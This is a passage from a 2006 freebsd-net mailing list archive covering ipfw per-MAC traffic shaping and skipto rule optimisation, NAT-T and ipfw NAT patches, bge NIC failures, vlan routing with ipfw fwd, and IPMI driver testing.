ruleset average 2 ip input - all ruleset, not succesfull 3 ip output - all ruleset, not succesfull 4 mac output - abount half a ruleset average allow all ip level packets on the ruleset begin and down proc usage 3 times down. > >> This example is for 5 clients. We have 1600. > >> As you can see, there are 2 rules and 2 pipes per host, not 1600. > >> > >> > >> If we try rc.firewall like this... > >> > >> setup_loopback > >> ${fwcmd} add 65000 pass all from any to any > >> > >> ... we are ok. Interrupts are low. > >> > >> So, following your line of thought, I tried a simple test... > >> > >> setup_loopback > >> ${fwcmd} skipto 65000 ip from any to any MAC any any > >> . /etc/rc.shaper > >> ${fwcmd} add 65000 pass all from any to any > >> > >> This way, the packets will never pass through shaper rules, but > >> interrupts > >> still get very high. > >> > >> > > > > I don't see how that proves anything > > > > See, if we have just 4 rules in the kernel (3 from setup_loopback + > allow any to any), we don't have problems with interrupts. They are low, > about 15~20% with the same traffic. > But, if we have a 'full' set of rules, let's say 3205 (3 from > setup_loopback + skipto 65000 + 3200 pipes + allow any to any), where > only 5 of them are being matched (setup_loopback, 'skipto 65000' and > 'allow any to any' - the skipto 65000 rule prevents any packet to search > through my 3200 pipes, right?), we still see interrupts go to 70~90%. > So, what I am saying is that even if we use skipto rules to create > 'shortcuts' in the firewall stack, the system still uses lots of > interrupts. It seems that no matter whether the packets are being > checked against the rules or not, as long there are so many rules, the > interrupts will be generated. > > Let me know if you got my point. > I'll do some more tests reducing the number of pipes while keeping the > same amount of rules to see whether this has some effect in the interrupts. > > BTW: I tested your other suggestion about splitting 'in' and 'out' rules > but it made no difference regarding system interrupts. > > Thanks again! > > > >> Basically, we need a solution to shape each MAC address with its > >> specifics > >> download e upload speeds. > >> Given the tests, I don't see how skipto can help, but if you believe that > >> tablearg (which I am not familiar with) might help, we can try it with > >> 7.x. > >> > >> > > > > Tablearg only works with IP addresses. > > > >> Thanks. > >> > >> > >> > >> > >>> oops, forgot to fix my cut-n- pastes.. corrected triage below.. > >>> > >>> > >>> Julian Elischer wrote: > >>> > >>> > >>>> Julian Elischer wrote: > >>>> > >>>> > >>>>> tpeixoto@widesoft.com.br wrote: > >>>>> > >>>>> > >>>>>>> That would do it.. > >>>>>>> > >>>>>>> In all versions of FreeBSD > >>>>>>> you can use the skipto rule to make sure that only a few rules are > >>>>>>> run for any > >>>>>>> address. Use it to to a binary search for the right pipe.' > >>>>>>> carefully using 'skipto' and 'table' can make it efficient to do > >>>>>>> very complex > >>>>>>> filters like that. > >>>>>>> > >>>>>>> > >>>>>> Sorry, but I didn't realized how to use that as we have to shape > >>>>>> each user individually, i.e., each MAC address on the LAN has its > >>>>>> own download and upload speeds. > >>>>>> > >>>>>> Could you clarify how to improve the situation with the tools you > >>>>>> mentioned? > >>>>>> > >>>>> > >>>>> > >>>>> > >>>>> Assuming you can not use "tablearg" yet (it will make this REALLY > >>>>> EASY) > >>>>> then if you have 30 IPs you want to shape from 1.1.1.1 to 1.1.1.30 > >>>>> > >>>> > >>>> > >>>> then, consider the following example using IP addresses. > >>>> > >>>> > >>>>> > >>>>> > >>>> ipfw add 1000 skipto 1110 ip from any to 1.1.1.16/28 > >>>> ipfw add 1010 skipto 1032 ip from any to 1.1.1.8/29 > >>>> ipfw add 1012 skipto 1021 ip from any to 1.1.1.4./30 > >>>> > >>>> ipfw add 1013 [anything] ip from any to 1.1.1.0 > >>>> > >>>> ipfw add 1014 [anything] ip from any to 1.1.1.1 > >>>> ipfw add 1015 [anything] ip from any to 1.1.1.2 > >>>> ipfw add 1016 [anything] ip from any to 1.1.1.3 > >>>> > >>>> > >>>> ipfw add 1021 anything] ip from any to 1.1.1.4 > >>>> ipfw add 1022 [anything] ip from any to 1.1.1.5 > >>>> ipfw add 1023 [anything] ip from any to 1.1.1.6 > >>>> ipfw add 1024 [anything] ip from any to 1.1.1.7 > >>>> > >>>> > >>>> ipfw add 1032 skipto 1051 ip from any to 1.1.1.12./30 > >>>> > >>>> ipfw add 1040 [anything] ip from any to 1.1.1.8 > >>>> ipfw add 1041 [anything] ip from any to 1.1.1.9 > >>>> ipfw add 1042 [anything] ip from any to 1.1.1.10 > >>>> ipfw add 1043 [anything] ip from any to 1.1.1.11 > >>>> > >>>> > >>>> ipfw add 1051 [anything] ip from any to 1.1.1.12 > >>>> ipfw add 1052 [anything] ip from any to 1.1.1.13 > >>>> ipfw add 1053 [anything] ip from any to 1.1.1.14 > >>>> ipfw add 1054 [anything] ip from any to 1.1.1.15 > >>>> > >>>> > >>>> ipfw add 1110 skipto 1132 ip from any to 1.1.1.24/29 > >>>> ipfw add 1112 skipto 1121 ip from any to 1.1.1.20./30 > >>>> ipfw add 1113 [anything] ip from any to 1.1.1.16 > >>>> ipfw add 1114 [anything] ip from any to 1.1.1.17 > >>>> ipfw add 1115 [anything] ip from any to 1.1.1.18 > >>>> > >>>> ipfw add 1116 [anything] ip from any to 1.1.1.19 > >>>> > >>>> ipfw add 1121 anything] ip from any to 1.1.1.20 > >>>> ipfw add 1122 [anything] ip from any to 1.1.1.21 > >>>> ipfw add 1123 [anything] ip from any to 1.1.1.22 > >>>> ipfw add 1124 [anything] ip from any to 1.1.1.23 > >>>> > >>>> > >>>> ipfw add 1132 skipto 1151 ip from any to 1.1.1.28./30 > >>>> > >>>> ipfw add 1140 [anything] ip from any to 1.1.1.24 > >>>> ipfw add 1141 [anything] ip from any to 1.1.1.25 > >>>> ipfw add 1142 [anything] ip from any to 1.1.1.26 > >>>> ipfw add 1143 [anything] ip from any to 1.1.1.27 > >>>> > >>>> > >>>> ipfw add 1151 [anything] ip from any to 1.1.1.28 > >>>> ipfw add 1152 [anything] ip from any to 1.1.1.29 > >>>> ipfw add 1153 [anything] ip from any to 1.1.1.30 > >>>> ipfw add 1154 [anything] ip from any to 1.1.1.31 > >>>> > >>>> > >>>> > >>>> > >>>> > >>>> now this example shows a binary search in IP space, written (including > >>>> bugs) by hand > >>>> but if you are willing to write a suitable perl script, you can > >>>> generate a binary search in MAC address space > >>>> just as easily. just sort them into order and search.. > >>>> > >>>> I'm not going to try it by had, but for 1600 hosts you should only > >>>> need to go through > >>>> 15 rules per host on average, instead of 1600 rules per host. > >>>> that should cut down your ipfw cpu usage by 1/100 > >>>> > >>>> > >>>> > >>>> > >>>>> freebsd.org" > >>>>> > >> > >> > >> > > > _______________________________________________ > freebsd-net@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-net > To unsubscribe, send any mail to "freebsd-net-unsubscribe@freebsd.org" > From owner-freebsd-net@FreeBSD.ORG Wed May 3 08:46:03 2006 Return-Path: X-Original-To: freebsd-net@freebsd.org Delivered-To: freebsd-net@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 92A6316A402 for ; Wed, 3 May 2006 08:46:03 +0000 (UTC) (envelope-from freebsdlists@bsdunix.ch) Received: from conversation.bsdunix.ch (ns1.bsdunix.ch [82.220.17.18]) by mx1.FreeBSD.org (Postfix) with ESMTP id E0DAE43D45 for ; Wed, 3 May 2006 08:46:02 +0000 (GMT) (envelope-from freebsdlists@bsdunix.ch) Received: from localhost (localhost.bsdunix.ch [127.0.0.1]) by conversation.bsdunix.ch (Postfix) with ESMTP id 3F58861DC for ; Wed, 3 May 2006 10:47:49 +0200 (CEST) Received: from conversation.bsdunix.ch ([127.0.0.1]) by localhost (conversation.bsdunix.ch [127.0.0.1]) (amavisd-new, port 10024) with LMTP id 21514-02-4 for ; Wed, 3 May 2006 10:47:48 +0200 (CEST) Received: from [192.168.1.100] (unknown [82.220.17.23]) (using TLSv1 with cipher RC4-SHA (128/128 bits)) (No client certificate requested) by conversation.bsdunix.ch (Postfix) with ESMTP id 9B60A61E2 for ; Wed, 3 May 2006 10:47:48 +0200 (CEST) Mime-Version: 1.0 (Apple Message framework v749.3) Content-Transfer-Encoding: 7bit Message-Id: <50829B26-BF66-4121-9D19-7E8C9DFD6987@bsdunix.ch> Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed To: freebsd-net@freebsd.org From: Thomas Vogt Date: Wed, 3 May 2006 10:45:30 +0200 X-Mailer: Apple Mail (2.749.3) X-Virus-Scanned: by amavisd-new at mail.bsdunix.ch Subject: nat-t support? X-BeenThere: freebsd-net@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Networking and TCP/IP with FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 03 May 2006 08:46:03 -0000 Hello List Is FreeBSD 5.x or 6.x supporting nat-t? I checked the archive but didn't find any useful information. It looks some people are working on it but the message was pretty old. Any status update? Cheers, Thomas From owner-freebsd-net@FreeBSD.ORG Wed May 3 09:23:05 2006 Return-Path: X-Original-To: freebsd-net@freebsd.org Delivered-To: freebsd-net@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 55B9116A401 for ; Wed, 3 May 2006 09:23:05 +0000 (UTC) (envelope-from vanhu@zeninc.net) Received: from leia.fdn.fr (ns0.fdn.org [80.67.169.12]) by mx1.FreeBSD.org (Postfix) with ESMTP id B18EC43D46 for ; Wed, 3 May 2006 09:23:03 +0000 (GMT) (envelope-from vanhu@zeninc.net) Received: from smtp.zeninc.net (reverse-25.fdn.fr [80.67.176.25]) by leia.fdn.fr (8.13.3/8.13.3/FDN) with ESMTP id k439N297004960 for ; Wed, 3 May 2006 11:23:02 +0200 Received: by smtp.zeninc.net (smtpd, from userid 1000) id 162AE3F17; Wed, 3 May 2006 11:22:57 +0200 (CEST) Date: Wed, 3 May 2006 11:22:57 +0200 From: VANHULLEBUS Yvan To: freebsd-net@freebsd.org Message-ID: <20060503092256.GA30916@zen.inc> References: <50829B26-BF66-4121-9D19-7E8C9DFD6987@bsdunix.ch> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <50829B26-BF66-4121-9D19-7E8C9DFD6987@bsdunix.ch> User-Agent: All mail clients suck. This one just sucks less. Subject: Re: nat-t support? X-BeenThere: freebsd-net@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Networking and TCP/IP with FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 03 May 2006 09:23:05 -0000 On Wed, May 03, 2006 at 10:45:30AM +0200, Thomas Vogt wrote: > Hello List Hi. > Is FreeBSD 5.x or 6.x supporting nat-t? I checked the archive but > didn't find any useful information. It looks some people are working > on it but the message was pretty old. Any status update? Patch for NAT-T can be found at http://ipsec-tools.sourceforge.net/freebsd6-natt.diff and will work for 6.0, 6.1, HEAD, and probably 5.X with minor manual patches. Next version of ipsec-tools port whill give the URL, and integration in FreeBSD's repository is "work in progress". Yvan. -- NETASQ - Secure Internet Connectivity http://www.netasq.com From owner-freebsd-net@FreeBSD.ORG Wed May 3 11:06:32 2006 Return-Path: X-Original-To: freebsd-net@freebsd.org Delivered-To: freebsd-net@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 9FB4316A400 for ; Wed, 3 May 2006 11:06:32 +0000 (UTC) (envelope-from tbyte@otel.net) Received: from mail.otel.net (gw3.OTEL.net [212.36.8.151]) by mx1.FreeBSD.org (Postfix) with ESMTP id 3CB1143D49 for ; Wed, 3 May 2006 11:06:32 +0000 (GMT) (envelope-from tbyte@otel.net) Received: from dragon.otel.net ([212.36.8.135]) by mail.otel.net with esmtp (Exim 4.60 (FreeBSD)) (envelope-from ) id 1FbFBe-000Hz1-J8; Wed, 03 May 2006 14:06:31 +0300 From: Iasen Kostov To: Scott Ullrich In-Reply-To: References: <20060430135702.GA48117@tin.it> <1146569915.79123.9.camel@DraGoN.OTEL.net> Content-Type: text/plain Date: Wed, 03 May 2006 14:06:30 +0300 Message-Id: <1146654390.30275.12.camel@DraGoN.OTEL.net> Mime-Version: 1.0 X-Mailer: Evolution 2.6.1 FreeBSD GNOME Team Port Content-Transfer-Encoding: 7bit Cc: FreeBSD_Net Subject: Re: [6.x patchset] Ipfw nat and libalias modules X-BeenThere: freebsd-net@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Networking and TCP/IP with FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 03 May 2006 11:06:32 -0000 On Tue, 2006-05-02 at 12:04 -0400, Scott Ullrich wrote: > On 5/2/06, Iasen Kostov wrote: > [snip] > > Btw what is the status of the multi-session to the same > > point PPTP NAT (e.g call ID tracking) ? > > PF's NAT has the same problem. We have this come up quite often on > pfSense where someone wants to make multiple connections through the > firewall to a target PPTP server. After the first connection PF > seems to loose track of the (what your calling ID tracking I suppose) > in GRE and then no new connections can be created to that particular > PPTP server. Works fine if the second person connects to a different > server however. Yep but corporate clients tend to connect to the same server :). I've asked this question becouse I've wrote a pptp load balancer some time in the past and could possibly use it as start point for pptp nat (because the balancer was doing exactly this tracking of the call IDs for the connections to the pptp servers were comming from the same IP of the balancer's machine and there were multiple connections). From owner-freebsd-net@FreeBSD.ORG Wed May 3 11:12:41 2006 Return-Path: X-Original-To: freebsd-net@freebsd.org Delivered-To: freebsd-net@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id DCA2C16A402 for ; Wed, 3 May 2006 11:12:41 +0000 (UTC) (envelope-from tbyte@otel.net) Received: from mail.otel.net (gw3.OTEL.net [212.36.8.151]) by mx1.FreeBSD.org (Postfix) with ESMTP id 62A5B43D4C for ; Wed, 3 May 2006 11:12:41 +0000 (GMT) (envelope-from tbyte@otel.net) Received: from dragon.otel.net ([212.36.8.135]) by mail.otel.net with esmtp (Exim 4.60 (FreeBSD)) (envelope-from ) id 1FbFHc-000I8Z-1T; Wed, 03 May 2006 14:12:40 +0300 From: Iasen Kostov To: Paolo Pisati In-Reply-To: <20060502162406.GA3596@tin.it> References: <20060430135702.GA48117@tin.it> <1146569915.79123.9.camel@DraGoN.OTEL.net> <20060502162406.GA3596@tin.it> Content-Type: text/plain Date: Wed, 03 May 2006 14:12:39 +0300 Message-Id: <1146654759.30275.18.camel@DraGoN.OTEL.net> Mime-Version: 1.0 X-Mailer: Evolution 2.6.1 FreeBSD GNOME Team Port Content-Transfer-Encoding: 7bit Cc: FreeBSD_Net Subject: Re: [6.x patchset] Ipfw nat and libalias modules X-BeenThere: freebsd-net@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Networking and TCP/IP with FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 03 May 2006 11:12:42 -0000 On Tue, 2006-05-02 at 18:24 +0200, Paolo Pisati wrote: > On Tue, May 02, 2006 at 02:38:35PM +0300, Iasen Kostov wrote: > > Have you done any performace comparisons with pf's NAT ? I realy would > > prefer libalias based kernel NAT than pf because libalias works better > > with ftp, irc dcc and things like that (VoIP would be nice too :P ). So > > the only reason I've not put it in production is because its to new and > > untested but as soon as I upgrade mine home to 6.x router I'll test it > > more extensivly. > > no performance comparison (at least not yet), but i don't > expect NAT to be a real bottleneck. Anyway, if we find > it's dead slow, i'll fix it :) > > > Btw what is the status of the multi-session to the same > > point PPTP NAT (e.g call ID tracking) ? > > i didn't modify the protocol specific nat support, so > it's just like with natd. > > btw a brave guy (Hi Patrick! :) switched 4 boxes > (i386 and amd64, UP and SMP) from natd to ipfw's nat and > everything went smooth, except for a little bug that i'm > tracking down... sounds good to me! :) > > bye Sound good to me too :). We have a dual opteron 248 here NATing (and that's its only purpose) about 2000 clients at ~300-400 Mbps full-duplex so the NAT could be a bottle neck :). But in time for the next upgrade (to 6.1) I'll test your patches to see what will happen. Regards. From owner-freebsd-net@FreeBSD.ORG Wed May 3 17:51:07 2006 Return-Path: X-Original-To: freebsd-net@freebsd.org Delivered-To: freebsd-net@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 2FAC416A401; Wed, 3 May 2006 17:51:07 +0000 (UTC) (envelope-from robertw@ssginnovations.com) Received: from ssg1.ssginnovations.com (ssg1.ssginnovations.com [205.145.130.194]) by mx1.FreeBSD.org (Postfix) with ESMTP id DCEDB43D49; Wed, 3 May 2006 17:51:06 +0000 (GMT) (envelope-from robertw@ssginnovations.com) Received: from server1.ssgi.local (unknown [205.145.129.164]) by ssg1.ssginnovations.com (Mail Daemon) with ESMTP id 42F6E4107; Wed, 3 May 2006 13:51:06 -0400 (EDT) X-MimeOLE: Produced By Microsoft Exchange V6.5 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Date: Wed, 3 May 2006 13:51:04 -0400 Message-ID: <85D4F2C294E8434CA0AF7757415326860950C5@server1.ssgi.local> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: 6.1-RC bge RX CPU self-diagnostic failed Thread-Index: AcZt5GAUpzRnipHAQDqt9iISU/0aEwA9anZA From: "Robert Wojciechowski" To: Cc: freebsd-net@freebsd.org Subject: RE: 6.1-RC bge RX CPU self-diagnostic failed X-BeenThere: freebsd-net@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Networking and TCP/IP with FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 03 May 2006 17:51:07 -0000 This is for the archives: problem was identified as a bad motherboard/onboard NIC and has been replaced (thanks Silicon Mechanics!). Everything is going smoothly now! -- Robert > -----Original Message----- > From: owner-freebsd-stable@freebsd.org [mailto:owner-freebsd- > stable@freebsd.org] On Behalf Of Robert Wojciechowski > Sent: Tuesday, May 02, 2006 8:32 AM > To: freebsd-stable@freebsd.org > Subject: 6.1-RC bge RX CPU self-diagnostic failed >=20 > I'm running into a problem with some new dual Opteron servers we just > received yesterday on 6.1-STABLE (-RC now I suppose) amd64 updated as of > today. When booting, it sometimes fails to initialize the onboard > Broadcom gigabit Ethernet: >=20 > bge0: mem > 0xfc9f0000-0xfc9fffff irq 26 at device 5.0 on pci2 > bge0: firmware handshake timed out > bge0: RX CPU self-diagnostics failed! > bge0: chip initialization failed > device_attach: bge0 attach returned 6 > bge1: mem > 0xfc9e0000-0xfc9effff irq 27 at device 5.1 on pci2 > bge1: firmware handshake timed out > bge1: RX CPU self-diagnostics failed! > bge1: chip initialization failed > device_attach: bge1 attach returned 6 >=20 > Rebooting until the card is initialized seems to allow me to use those > interfaces. >=20 > I have 2 other servers with identical BCM5704C chips running on dual > Opterons on 6.1-STABLE amd64 and they seem to work fine on those. I have > two of these new servers but have only seen this problem on one of them > today. I'm trying to duplicate it on both boxes as we speak. >=20 > Any ideas on what I can do? Thanks! >=20 > -- Robert From owner-freebsd-net@FreeBSD.ORG Wed May 3 20:19:44 2006 Return-Path: X-Original-To: freebsd-net@freebsd.org Delivered-To: freebsd-net@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 76D1616A521 for ; Wed, 3 May 2006 20:19:44 +0000 (UTC) (envelope-from vulture@netvulture.com) Received: from rackman.netvulture.com (adsl-63-197-17-60.dsl.snfc21.pacbell.net [63.197.17.60]) by mx1.FreeBSD.org (Postfix) with ESMTP id 6831D43D78 for ; Wed, 3 May 2006 20:19:40 +0000 (GMT) (envelope-from vulture@netvulture.com) Received: from [127.0.0.1] (host73.netvulture.com [208.201.244.73]) (authenticated bits=0) by rackman.netvulture.com (8.13.5/8.13.5) with ESMTP id k43KIoMt033342; Wed, 3 May 2006 13:18:52 -0700 (PDT) Message-ID: <4459101F.1000509@netvulture.com> Date: Wed, 03 May 2006 13:18:39 -0700 From: Jonathan Feally User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.2) Gecko/20040804 Netscape/7.2 (ax) X-Accept-Language: en-us, en MIME-Version: 1.0 To: .@babolo.ru, freebsd-net@freebsd.org, rizzo@icir.org X-Priority: 1 (Highest) References: <1146644218.976446.80586.nullmailer@cicuta.babolo.ru> In-Reply-To: <1146644218.976446.80586.nullmailer@cicuta.babolo.ru> X-MailScanner-Information: Please contact your system administrator for more information X-MailScanner: Found to be clean X-MailScanner-SpamCheck: not spam (whitelisted), SpamAssassin (score=-1.895, required 2.5, ALL_TRUSTED -2.82, AWL -0.30, HOT_NASTY 0.59, HTML_20_30 0.50, HTML_MESSAGE 0.00, HTML_TITLE_EMPTY 0.04, X_PRIORITY_HIGH 0.09) Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Cc: Subject: Re: Having a problem with getting ipfw fwd to work with vlans and bge - 6.1-RC1 amd64 X-BeenThere: freebsd-net@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Networking and TCP/IP with FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 03 May 2006 20:19:47 -0000 Good to know about the mtu, however I'm still having the same problem with a Pro/1000 em0. I have only tagged vlans running on em0 and the admin vlan (1) running untagged on bge0. The only 2 networks in play are 900 and 902. I'm not even working on packets from the lans passing through yet. Just trying to get my pings from outside to leave on the corresponding vlans back towards the correct gateway/router. If the ipfw fwd feature to reroute outgoing packets to a different router is broken - then this would be considered a show stopper for 6.1-RELEASE in my mind. I hope Luigi can chime in here with some ideas to try or debuging that can be done. Complete Machine Specs. Asus K8N-LR Has 2 onboard broadcom nics (bge0 + bge1) Has Onboard ATI Rage XL Video. 2GB Ram AMD 4200+ X2 Using onboard NVidia MediaShield Raid w/ 4 250GB Segate Drives. RAID10 Add In Pro/1000 NIC (em0) Running 6.1-RC/amd64 as of 5/1/06 from cvsup of 6_RELENG Is there anybody else out there that has used the ipfw fwd feature to do what I'm doing - and have you tried it on the 6 Branch? Need some answers soon - Please help! Thanks, -Jon .@babolo.ru wrote: >[ Charset ISO-8859-1 unsupported, converting... ] > > >>Hello, >>I have setup a new firewall and I'm having trouble with it. Perhaps the >>bge is to blame, perhaps its something else. >>I'll explain my setup, problem and the workaround to get it going. >> >>Box connects to 2 Internal Lans and 2 External Wans. >> >>Vlans are mixed untagged and tagged on a single bge0 >> >>Vlan Network Desc >>1 10.255.1.0/24 Admin Lan - No Vlan Tagging >>2 10.255.2.0/24 VoIP Lan >>900 67.xxx.xxx.128/27 Internet A - Default Route - Going to be pure >>VoIP only - thus 10.255.2 boxes get 1:1 NAT to 67.xxx.xxx >>902 208.xxx.xxx.48/28 Internet B - Web Services >> >>1st problem I ran into was pings from vlan 2 through natd to vlan 900 >>were not coming back. I could see the packet enter vlan2 - leave and >>return on vlan900 - but go nowhere. I tried a tcpdump on bge0 and the >>pings started coming back. Leading me to putting promisc on my ifconfig bge0 >> >>Now I'm trying to setup up a simple web server on an IP from vlan 902 in >>combination with fwd rule # 999 to route packets from a vlan902 address >>back to the router on that internet connection. I try to ping from the >>outside and can see the icmp echo request. But the replies keep getting >>sent out vlan900 to the other internet router. >> >>Hopefully somebody can point me in the right direction. If its the bge, >>then I can replace it with some em. If its an issue with mixing native >>vlan and tagged, I can tag everything, If its not me, then who can help >>getting the code fixed? >> >>I have put my ifconfig, ipfw rules and natd.conf's below. >> >> >Don't know about FreeBSD 6, in FreeBSD 4 you need mtu = 1504 >for mtu = 1500 on vlans to work. > >This is reason not to use mix tagged/utagged on one bge. > > > >>Thanks -Jon >> >>--------------------------------------------------------- >> >>[root@t3031fw ~]# ifconfig -a >>bge0: flags=28943 mtu 1500 >> options=18 >> inet6 fe80::215:f2ff:fed0:d898%bge0 prefixlen 64 scopeid 0x1 >> inet 10.255.1.254 netmask 0xffffff00 broadcast 10.255.1.255 >> ether 00:15:f2:d0:d8:98 >> media: Ethernet autoselect (100baseTX ) >> status: active >>bge1: flags=8802 mtu 1500 >> options=1b >> ether 00:15:f2:40:d8:35 >> media: Ethernet autoselect (none) >> status: no carrier >>plip0: flags=108810 mtu 1500 >>lo0: flags=8049 mtu 16384 >> inet6 ::1 prefixlen 128 >> inet6 fe80::1%lo0 prefixlen 64 scopeid 0x4 >> inet 127.0.0.1 netmask 0xff000000 >>vlan2: flags=8843 mtu 1500 >> inet6 fe80::215:f2ff:fed0:d898%vlan2 prefixlen 64 scopeid 0x5 >> inet 10.255.2.1 netmask 0xffffff00 broadcast 10.255.2.255 >> ether 00:15:f2:d0:d8:98 >> media: Ethernet autoselect (100baseTX ) >> status: active >> vlan: 2 parent interface: bge0 >>vlan900: flags=8843 mtu 1500 >> >> >... > > >> ether 00:15:f2:d0:d8:98 >> media: Ethernet autoselect (100baseTX ) >> status: active >> vlan: 900 parent interface: bge0 >>vlan902: flags=8843 mtu 1500 >> inet6 fe80::215:f2ff:fed0:d898%vlan902 prefixlen 64 scopeid 0x7 >> >> >... > > >> ether 00:15:f2:d0:d8:98 >> media: Ethernet autoselect (100baseTX ) >> status: active >> vlan: 902 parent interface: bge0 >> >> From owner-freebsd-net@FreeBSD.ORG Thu May 4 01:20:02 2006 Return-Path: X-Original-To: freebsd-net@freebsd.org Delivered-To: freebsd-net@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id BB7B316A403; Thu, 4 May 2006 01:20:02 +0000 (UTC) (envelope-from robertw@ssginnovations.com) Received: from ssg1.ssginnovations.com (ssg1.ssginnovations.com [205.145.130.194]) by mx1.FreeBSD.org (Postfix) with ESMTP id 5DE0B43D49; Thu, 4 May 2006 01:20:02 +0000 (GMT) (envelope-from robertw@ssginnovations.com) Received: from server1.ssgi.local (unknown [205.145.129.164]) by ssg1.ssginnovations.com (Mail Daemon) with ESMTP id 7653E40C2; Wed, 3 May 2006 21:20:01 -0400 (EDT) X-MimeOLE: Produced By Microsoft Exchange V6.5 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Date: Wed, 3 May 2006 21:19:59 -0400 Message-ID: <85D4F2C294E8434CA0AF7757415326860950D8@server1.ssgi.local> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: IPMI and bge (again) Thread-Index: AcZTkx8EGmosUFqYR32K2RD35+BtWwbhQ6hA From: "Robert Wojciechowski" To: "Doug Ambrisko" Cc: freebsd-net@freebsd.org, oleg@freebsd.org Subject: RE: IPMI and bge (again) X-BeenThere: freebsd-net@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Networking and TCP/IP with FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 04 May 2006 01:20:02 -0000 > Could you try this latest version. It incorporates Oleg > change sort-of. It was a good hint. The issue is that > we can't move the detection after the "reset" dance. Since > it needs to know if ASF is active. What we can do is just > do the bge_reset, look for ASF and then do the dance. This > works really well and I makes the PHY probe work without the > one remaining hack that I had left and I was able to get rid > of a couple more hacks. >=20 > This applies to RELENG_6. >=20 > Please let me know how this works. I'd like to commit > this. Please pay attention to if IPMI works before the > NIC is UP/or has an IP and then when it is ifconfig down > then up again. The PHY should be detected at brgphy > and not the generic one. It should also have all of the > proper speeds. It should work with and without PXE boot. > Finally non-IPMI ones should work. >=20 > So far it works on the variants I have. >=20 Doug, I tried your patch (as well as one from you on 1/13/2006) on FreeBSD 6.1-RC2 but experienced hard lockups. It happens during startup right after setting the hostname, right before it would normally bring up the interface I believe. This is on four different servers, all Supermicro motherboards (H8DAR and H8DAE) based on the Broadcom BCM5704 chip. Here is the pciconf -lv: bge0@pci2:3:0: class=3D0x020000 card=3D0x164815d9 chip=3D0x164814e4 = rev=3D0x10 hdr=3D0x00 vendor =3D 'Broadcom Corporation' device =3D 'BCM5704 NetXtreme Dual Gigabit Adapter' class =3D network subclass =3D ethernet bge1@pci2:3:1: class=3D0x020000 card=3D0x164815d9 chip=3D0x164814e4 = rev=3D0x10 hdr=3D0x00 vendor =3D 'Broadcom Corporation' device =3D 'BCM5704 NetXtreme Dual Gigabit Adapter' class =3D network subclass =3D Ethernet Any ideas? If you need any more information or have other patches I can test for you, let me know! -- Robert From owner-freebsd-net@FreeBSD.ORG Thu May 4 01:40:10 2006 Return-Path: X-Original-To: freebsd-net@freebsd.org Delivered-To: freebsd-net@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 89F9516A403 for ; Thu, 4 May 2006 01:40:10 +0000 (UTC) (envelope-from tpeixoto@widesoft.com.br) Received: from srv1.netconsultoria.com.br (srv1.netconsultoria.com.br [200.230.201.252]) by mx1.FreeBSD.org (Postfix) with ESMTP id 5C1D243D4C for ; Thu, 4 May 2006 01:40:08 +0000 (GMT) (envelope-from tpeixoto@widesoft.com.br) Received: from [192.168.0.1] (mailgw.netconsultoria.com.br [200.230.201.249]) by srv1.netconsultoria.com.br (8.13.6/8.13.3) with ESMTP id k441dfuw081699; Wed, 3 May 2006 22:39:44 -0300 (BRT) (envelope-from tpeixoto@widesoft.com.br) Message-ID: <44595B76.9010901@widesoft.com.br> Date: Wed, 03 May 2006 22:40:06 -0300 From: tpeixoto@widesoft.com.br User-Agent: Thunderbird 1.5.0.2 (Windows/20060308) MIME-Version: 1.0 To: .@babolo.ru References: <1146645702.297895.80691.nullmailer@cicuta.babolo.ru> In-Reply-To: <1146645702.297895.80691.nullmailer@cicuta.babolo.ru> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Virus-Scanned: ClamAV 